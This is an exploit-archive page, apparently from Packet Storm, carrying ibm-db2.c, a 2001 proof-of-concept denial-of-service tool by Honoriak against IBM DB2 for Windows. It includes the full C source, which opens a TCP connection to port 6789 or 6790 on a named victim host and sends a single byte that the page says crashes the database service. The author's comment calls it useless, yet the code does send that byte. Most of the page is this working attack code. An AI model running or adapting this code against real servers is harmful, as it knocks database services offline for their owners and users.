exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ibm-db2.c

ibm-db2.c
Posted Jul 29, 2001
Authored by Honoriak

IBM DB2 (which works under W98/NT/2000) Proof of concept Denial of Service. Sending 1 byte to port 6789 or 6790 IBM DB2 crashes, as described in ibm.db2.dos.txt.

tags | exploit, denial of service, proof of concept
SHA-256 | 44d64dfbdbb1557b294143c33f8c5588ad8abdebac45e6280e99353be9cf7797

ibm-db2.c

Change Mirror Download
/* 

----[ honoriak@helisec 21.7.2001

Denial of Service against IBM DB2 for Windows (98/NT/2000)
Problem: Crash when it is sent 1 byte to port 6789 (db2jds.exe)
or 6790 (db2ccs.exe)
Advisory: Thanks to Gilles.
http://packetstormsecurity.org/0107-exploits/ibm.db2.dos.txt

Proof of concept. DON'T ABUSE.
Script-kiddies: bad luck, it's faked. Man netcat, this .c is useless.
Only boredom.

*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdlib.h>
#define PORT 6789 /* or 6790 */

void usage(char *ar) {
fprintf(stderr, "DoS against IBM DB2 for Windows (98/NT/2000) by ");
fprintf(stderr, "honoriak@helisec\n");
fprintf(stderr, "usage: %s victim\n", ar);
exit(0);
}

unsigned long resolv(char *h)
{
struct in_addr h_prov;
struct hostent *hv;

if (!(hv = gethostbyname(h))) return(0);
memcpy((char *)&h_prov.s_addr, hv->h_addr, hv->h_length);
return(h_prov.s_addr);
}

int main(int argc, char *argv[]) {

struct sockaddr_in vic;
unsigned char boom;
int sck, cn;
boom = 'P';

if (argc < 2) {
usage(argv[0]);
}

bzero(&vic, sizeof(vic));
vic.sin_family = AF_INET;
vic.sin_port = htons(PORT);

if ( (inet_pton(AF_INET, argv[1], &vic.sin_addr)) <= 0) {
vic.sin_addr.s_addr = resolv(argv[1]);
}
if (!vic.sin_addr.s_addr) {
fprintf(stderr, "Error resolving host\n");
exit(-1);
}
if ( (sck = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "Error opening socket\n");
exit(-1);
}
if ( (cn = connect(sck, (struct sockaddr *)&vic, sizeof(vic))) < 0) {
fprintf(stderr, "Error connecting...\n");
exit(-1);
}

if ( (send(sck, &boom, strlen(&boom), 0)) < 1) {
fprintf(stderr, "Error sending, IBM DB2 is installed? 6789 is closed. Try 6790.\n");
exit(-1);
}
fprintf(stderr, "1 byte sent");
exit(-1);
}

/* helisec 2001 */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close